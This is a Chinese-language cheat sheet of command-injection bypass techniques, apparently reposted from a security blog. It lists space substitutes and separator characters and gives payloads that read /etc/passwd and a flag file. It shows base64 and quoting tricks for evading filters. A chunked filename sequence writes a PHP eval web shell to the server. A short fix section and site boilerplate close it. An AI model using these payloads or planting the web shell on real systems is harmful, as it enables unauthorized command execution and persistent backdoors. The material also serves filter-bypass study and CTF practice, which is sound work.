RCE


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


描述

由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。

相关工具

相关案例

writeup


绕过技巧

空格代替

空格在 bash 下,可以用以下字符代替空格

<
${IFS}
$IFS$9
%09
cat</etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
cat%09/etc/passwd

$IFS 在 linux 下表示分隔符,只有 cat$IFSa.txt 的时候, bash 解释器会把整个 IFSa 当做变量名,所以导致没有办法运行,然而如果加一个 {} 就固定了变量名,同理在后面加个 $ 可以起到截断的作用,而 $9 指的是当前系统 shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离。

截断符号

比如测试 ping 功能的点,要求填写一个 ip 参数这样的题目,这个时候就需要测试截断符号,将你输入的 ip 参数和后面要执行的命令隔开。首先测试所有的截断符号:

$
;
|
-
(
)
`
||
&&
&
}
{
%0a

利用截断符号配合普通命令简单问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt 这样就可以达到同时执行两条命令的效果

编码

这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令,那么就可以用下面这种方式将cat先base64编码后再进行解码运行。

echo 'cat' | base64

`echo 'Y2F0Cg==' | base64 -d` /etc/passwd

针对一些代码执行的场景,可以通过在 base64 中添加干扰字符的方式尝试绕过

success-inject
c3VjY2Vzcy1pbmplY3Q=

php

<?php
$str='--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=';
echo base64_decode($str);
?>

python

import base64
leleyyds = base64.b64decode("--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=")
print(leleyyds.decode())

单引号

cat /etc/pass'w'd

反斜杠利用

linux 下创建文件的命令可以用 1>1 创建文件名为 1 的空文件

ls>1 可以直接把 ls 的内容导入一个文件中, 但是会默认追加 \n

Linux

w>hp\\
w>c.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t>ls
sh ls
  • w 长度最短的命令
  • ls -t 以创建时间来列出当前目录下所有文件
  • 文件列表以[ [ 换 行符] ]分割每个文件
  • 引入 \ 转义ls时的换行
  • 换行不影响命令执行
  • 成功构造任意命令执行,写入Webshell
ls -t
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d>c.php

Fuzz字典


修复方案

  • 避免命令用户可控
  • 如需用户输入参数,则对用户输入做严格校验,如&&、|、;等

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

原文地址:http://www.cnblogs.com/haidragon/p/16847736.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性